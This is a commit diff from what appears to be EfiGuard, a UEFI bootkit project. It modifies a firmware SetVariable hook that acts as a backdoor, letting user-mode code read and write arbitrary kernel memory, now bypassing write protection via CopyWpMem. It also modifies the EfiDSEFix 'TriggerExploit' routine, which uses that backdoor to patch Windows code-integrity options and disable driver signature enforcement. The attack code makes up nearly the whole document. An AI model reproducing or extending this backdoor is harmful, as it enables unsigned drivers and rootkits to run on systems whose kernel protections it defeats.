Always use CopyWpMem in SetVariable hook

3 files changed, 46 insertions, 49 deletions

diff --git a/Application/EfiDSEFix/src/EfiDSEFix.cpp b/Application/EfiDSEFix/src/EfiDSEFix.cpp
index 924f759..da3dc5c 100644
--- a/Application/EfiDSEFix/src/EfiDSEFix.cpp
+++ b/Application/EfiDSEFix/src/EfiDSEFix.cpp
@@ -366,9 +366,8 @@ TestSetVariableHook(
 	BackdoorData.CookieValue = EFIGUARD_BACKDOOR_COOKIE_VALUE;
 	BackdoorData.KernelAddress = reinterpret_cast<PVOID>(HalBase);
 	BackdoorData.u.Qword = UINT64_MAX; // Bogus value to verify write-back after the read operation
-	BackdoorData.IsMemCopy = FALSE;
-	BackdoorData.IsReadOperation = TRUE;
 	BackdoorData.Size = sizeof(UINT16);
+	BackdoorData.ReadOnly = TRUE;
 
 	// Call SetVariable()
 	UNICODE_STRING VariableName = RTL_CONSTANT_STRING(EFIGUARD_BACKDOOR_VARIABLE_NAME);
@@ -447,9 +446,8 @@ TriggerExploit(
 		BackdoorData.u.s.Dword = static_cast<UINT32>(CiOptionsValue);
 	else if (CiPatchSize == sizeof(UINT8))
 		BackdoorData.u.s.Byte = static_cast<UINT8>(CiOptionsValue);
-	BackdoorData.IsMemCopy = FALSE;								// This is a scalar operation, not memcpy
-	BackdoorData.IsReadOperation = ReadOnly;					// Specify whether this is a read or a write operation
-	BackdoorData.Size = CiPatchSize;							// This value determines the field (Byte/Word/Dword/Qword) that the value to write will be read from, and written to on return
+	BackdoorData.Size = CiPatchSize;							// Determines which field the value will be read/written from/to
+	BackdoorData.ReadOnly = ReadOnly;							// Whether this is a read or read + write
 
 	// Call NtSetSystemEnvironmentValueEx -> [...] -> hal!HalSetEnvironmentVariableEx -> hal!HalEfiSetEnvironmentVariable -> EfiRT->SetVariable.
 	// On Windows >= 8 it is possible to use SetFirmwareEnvironmentVariableExW. We use the syscall directly because it exists on Windows 7 and Vista.
diff --git a/EfiGuardDxe/EfiGuardDxe.c b/EfiGuardDxe/EfiGuardDxe.c
index 1dd72ff..2d48994 100644
--- a/EfiGuardDxe/EfiGuardDxe.c
+++ b/EfiGuardDxe/EfiGuardDxe.c
@@ -270,52 +270,52 @@ HookedSetVariable(
 				BackdoorData->Size > 0 &&
 				(UINTN)BackdoorData->KernelAddress >= (UINTN)MM_SYSTEM_RANGE_START)
 			{
-				if (BackdoorData->IsMemCopy && BackdoorData->u.UserBuffer != NULL)
+				// For scalars, copy user value to kernel memory and put the old value in BackdoorData->u.XXX
+				switch (BackdoorData->Size)
 				{
-					if (BackdoorData->IsReadOperation) // Copy kernel buffer to user address
-						CopyMem(BackdoorData->u.UserBuffer, BackdoorData->KernelAddress, BackdoorData->Size);
-					else // Copy user buffer to kernel address
-						CopyMem(BackdoorData->KernelAddress, BackdoorData->u.UserBuffer, BackdoorData->Size);
-				}
-				else
-				{
-					// Copy user scalar to kernel memory, and put the old value in BackdoorData->u.XXX
-					switch (BackdoorData->Size)
+					case 1:
 					{
-						case 1:
-						{
-							CONST UINT8 NewByte = (UINT8)BackdoorData->u.s.Byte;
-							BackdoorData->u.s.Byte = *(UINT8*)BackdoorData->KernelAddress;
-							if (!BackdoorData->IsReadOperation)
-								*(UINT8*)BackdoorData->KernelAddress = NewByte;
-							break;
-						}
-						case 2:
-						{
-							CONST UINT16 NewWord = (UINT16)BackdoorData->u.s.Word;
-							BackdoorData->u.s.Word = *(UINT16*)BackdoorData->KernelAddress;
-							if (!BackdoorData->IsReadOperation)
-								*(UINT16*)BackdoorData->KernelAddress = NewWord;
-							break;
-						}
-						case 4:
-						{
-							CONST UINT32 NewDword = (UINT32)BackdoorData->u.s.Dword;
-							BackdoorData->u.s.Dword = *(UINT32*)BackdoorData->KernelAddress;
-							if (!BackdoorData->IsReadOperation)
-								*(UINT32*)BackdoorData->KernelAddress = NewDword;
-							break;
-						}
-						case 8:
+						CONST UINT8 NewByte = (UINT8)BackdoorData->u.s.Byte;
+						BackdoorData->u.s.Byte = *(UINT8*)BackdoorData->KernelAddress;
+						if (!BackdoorData->ReadOnly)
+							CopyWpMem(BackdoorData->KernelAddress, &NewByte, sizeof(NewByte));
+						break;
+					}
+					case 2:
+					{
+						CONST UINT16 NewWord = (UINT16)BackdoorData->u.s.Word;
+						BackdoorData->u.s.Word = *(UINT16*)BackdoorData->KernelAddress;
+						if (!BackdoorData->ReadOnly)
+							CopyWpMem(BackdoorData->KernelAddress, &NewWord, sizeof(NewWord));
+						break;
+					}
+					case 4:
+					{
+						CONST UINT32 NewDword = (UINT32)BackdoorData->u.s.Dword;
+						BackdoorData->u.s.Dword = *(UINT32*)BackdoorData->KernelAddress;
+						if (!BackdoorData->ReadOnly)
+							CopyWpMem(BackdoorData->KernelAddress, &NewDword, sizeof(NewDword));
+						break;
+					}
+					case 8:
+					{
+						CONST UINT64 NewQword = BackdoorData->u.Qword;
+						BackdoorData->u.Qword = *(UINT64*)BackdoorData->KernelAddress;
+						if (!BackdoorData->ReadOnly)
+							CopyWpMem(BackdoorData->KernelAddress, &NewQword, sizeof(NewQword));
+						break;
+					}
+					default:
+					{
+						// Arbitrary size memcpy
+						if (BackdoorData->u.UserBuffer != NULL)
 						{
-							CONST UINT64 NewQword = BackdoorData->u.Qword;
-							BackdoorData->u.Qword = *(UINT64*)BackdoorData->KernelAddress;
-							if (!BackdoorData->IsReadOperation)
-								*(UINT64*)BackdoorData->KernelAddress = NewQword;
-							break;
+							if (BackdoorData->ReadOnly)
+								CopyWpMem(BackdoorData->u.UserBuffer, BackdoorData->KernelAddress, BackdoorData->Size);
+							else
+								CopyWpMem(BackdoorData->KernelAddress, BackdoorData->u.UserBuffer, BackdoorData->Size);
 						}
-						default:
-							break; // Invalid size; do nothing
+						break;
 					}
 				}
 
diff --git a/Include/Protocol/EfiGuard.h b/Include/Protocol/EfiGuard.h
index d3f386e..b5c3d1e 100644
--- a/Include/Protocol/EfiGuard.h
+++ b/Include/Protocol/EfiGuard.h
@@ -82,9 +82,8 @@ typedef struct _EFIGUARD_BACKDOOR_DATA {
 		VOID* UserBuffer;
 	} u;
 
-	BOOLEAN IsMemCopy;
-	BOOLEAN IsReadOperation;
 	UINT32 Size;
+	BOOLEAN ReadOnly;
 } EFIGUARD_BACKDOOR_DATA;